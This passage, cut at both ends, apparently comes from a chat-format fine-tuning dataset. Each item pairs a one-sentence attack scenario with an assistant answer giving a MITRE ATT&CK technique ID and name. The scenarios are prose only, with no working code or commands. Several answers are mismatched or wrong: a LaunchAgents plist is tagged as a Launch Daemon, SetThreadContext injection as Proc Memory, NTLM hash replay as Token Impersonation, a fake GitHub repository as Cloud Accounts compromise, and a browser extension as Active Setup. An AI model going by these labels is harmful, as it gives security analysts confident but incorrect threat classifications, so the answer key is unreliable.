                "content": "T1011.001 - Exfiltration Over Other Network Medium: Exfiltration Over Bluetooth"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor injects exploit code into a compromised website so that any user who visits the site is infected without any interaction."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistent code is installed by writing a launchd plist to /Library/LaunchAgents, enabling automatic execution."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves modifying the internal VM snapshot to include a malicious kernel module."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a process's memory by writing malicious payload into its address space and then using SetThreadContext to execute it."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerates system configuration details, including OS version, hardware specs, and installed software, to build a profile of the victim host."
            },
            {
                "role": "assistant",
                "content": "T1592.004 - Gather Victim Host Information: Client Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware swapped the legitimate system image with a prior version to re-enable previously patched exploits."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rogue browser extension is installed that runs code each time the browser starts."
            },
            {
                "role": "assistant",
                "content": "T1547.014 - Boot or Logon Autostart Execution: Active Setup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rename of the legitimate system binary 'wmiprvse.exe' to 'chrome.exe' was observed after the compromise."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary gathers data from the infected endpoint's local storage and stages it for transfer."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat deploys a stealthy account hidden from the GUI login screen, using it to run scheduled PowerShell jobs that download additional payloads without raising alerts."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit altered the kernel module settings to unload the audit module, stopping all audit collection."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lateral movement within a network is achieved when an attacker compromises one system and then uses Remote Service Session tools to interact with other systems without needing additional exploits."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By sending crafted USB device descriptors, the adversary triggers a kernel panic on the endpoint, causing a denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used compromised credentials to log into the AWS console and turned off the VPC security group's inbound rules, effectively disabling the cloud firewall."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group performs targeted searches on specialized bulletin boards that require membership to discover employee email addresses."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages PowerShell's Test-Connection cmdlet to ping all IPs in the subnet and logs responding hosts for further scanning."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A scheduled task is created to launch a payload each time the system boots, employing the trap method of event‑triggered execution."
            },
            {
                "role": "assistant",
                "content": "T1546.005 - Event Triggered Execution: Trap"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a public RESTful API as a command channel, issuing GET requests for encoded payloads and sending POST requests to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent backdoor masks its network beacon by adding random padding bytes to each packet."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious browser extension captures all clipboard copy actions and forwards them to an attacker-controlled endpoint."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromise a virtual private server to serve as a staging area for malware distribution."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious authentication package is added to the system, causing execution each time a user logs on."
            },
            {
                "role": "assistant",
                "content": "T1547.005 - Boot or Logon Autostart Execution: Security Support Provider"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary gained access to the company's internal Git repository and modified the build scripts to insert malicious binaries during compilation."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers scraped LinkedIn profiles of senior staff to map out the corporate hierarchy and contact information."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware harvests NTLM hashes from the LSASS process and replays them to authenticate as an admin."
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary enumerates local Windows groups using the 'net localgroup' command."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers create a fake GitHub repository containing malicious scripts to lure developers into downloading them."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages unquoted PATH entries to hijack execution flow, dropping a Trojan in \\Windows\\System32 and naming it similarly to a trusted utility."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages privilege escalation by modifying PAM configuration to load a malicious shared library that grants them root access upon authentication."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro exfiltrates data by posting it to a malicious web form on a compromised website."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors abused an expired personal access token that was still valid in a CI/CD job to clone the repo."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan monitors and records all typed commands in a terminal session for later exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performed remote PowerShell script execution by invoking WinRM with the -Authentication Negotiate flag."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder reads configuration files from the user's home directory to locate API keys."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing module parses environment variables for AWS secret keys and transmits them to the attacker’s cloud bucket."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor configures Group Policy to enforce a custom screensaver that executes a remote code payload during idle periods."
            },
            {
                "role": "assistant",
                "content": "T1546.002 - Event Triggered Execution: Screensaver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors abuse remote desktop protocol (RDP) sessions to issue commands to compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware authenticates to the domain controller using stolen domain accounts to enumerate resources."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A targeted email to a development team member contains a link to a cloned Git repository that, when cloned, executes a script establishing persistence on the system."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker performs DNS cache poisoning on a public recursive DNS server to poison responses for targeted domains."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post‑exploitation actions include removing the compromised account from all security groups."
            },
            {
                "role": "assistant",
                "content": "T1531 - Account Access Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor creates a symmetric encrypted session using a derived key from a shared passphrase, masking its traffic as normal TLS traffic."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a kernel-level rootkit to disable the hardware random number generator, undermining the entropy used for encryption keys."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the threat actor abused the Service Control Manager to stop the Windows Update service, preventing the system from receiving patches."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised third‑party SaaS API to upload exfiltrated data under the guise of normal service usage."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A remote access tool queries the EFI System Partition to enumerate boot firmware versions and security settings."
            },
            {
                "role": "assistant",
                "content": "T1592.003 - Gather Victim Host Information: Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary’s script collects browser cookies and sends them to a malicious webhook on a Telegram bot."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion utilizes the DCOM protocol to establish a remote shell on a compromised workstation."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor abuses a legitimate SaaS monitoring service, embedding base64‑encoded commands in the service’s log entries, which the malware reads via the service’s API."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performed a system image downgrade, replacing the current OS with an earlier version to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group automates the creation of VMs in the victim’s VMware vSphere environment for persistence."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves using the system binary cmstp.exe to proxy execution of a payload hidden in an .inf file."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CMSTP is used as a living-off-the-land binary to run a malicious DLL through a crafted INF file, enabling the attacker to run code without alerting security tools."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a compromised service account to programmatically request MFA prompts, attempting to harvest the token."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder exploits default community strings to pull MIB data from network devices."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary edited the firewall rule set in a multi‑tenant cloud environment, allowing traffic to previously blocked ports."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by deploying a malicious LSASS driver that registers itself for autostart during system boot."
            },
            {
                "role": "assistant",
                "content": "T1547.008 - Boot or Logon Autostart Execution: LSASS Driver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary registers a malicious executable as a Windows service and starts it to gain persistence."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider employed their legitimate Office 365 admin account to download confidential data."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant uses an HTTP CONNECT tunnel to a proxy server to bypass firewall rules that block direct outbound connections."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before exfiltrating logs, the malware converts them to a binary‑to‑text format using uuencode."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool extracts local group information from the system via the WinAPI NetUserEnum function."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a PowerShell script to export credential data from the Windows Credential Manager associated with browsers."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a domain and sets up a DNS wildcard to serve malicious content for any subdomain."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages a compromised account to export the password database from a third‑party password manager service."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries craft a compiled HTML Help file that, when opened, executes a VBS script through the mshtml.dll component to load additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor compromised a popular WordPress plugin, inserting code that captured and exfiltrated login information from the site’s admin portal."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary probes the Kubernetes API server in a managed cloud environment to enumerate namespaces and pods."
            },
            {
                "role": "assistant",
                "content": "T1526 - Cloud Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors target an outdated Telnet service, using a crafted login sequence to gain remote execution privileges."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A crafted HEIC file exploits a bug in the macOS image preview utility, leading to execution of a hidden executable."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware registers a custom shortcut for StickyKeys that runs a PowerShell script whenever the shortcut is invoked, using the Accessibility Features subkey in the registry."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post‑breach activity includes the creation of a new GCP service account with wide‑scope permissions to facilitate data theft."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise leads to alteration of the SAML identity provider's signing certificate, enabling the creation of forged authentication assertions."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed malicious commands in HTTP GET requests to communicate with their C2 server."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware splits a large credential dump into 100‑KB parts, uploading each part via separate FTP sessions to avoid triggering size‑based alerts."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor registers a new XDG autostart entry on a Linux desktop environment to run their payload."
            },
            {
                "role": "assistant",
                "content": "T1547.013 - Boot or Logon Autostart Execution: XDG Autostart Entries"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
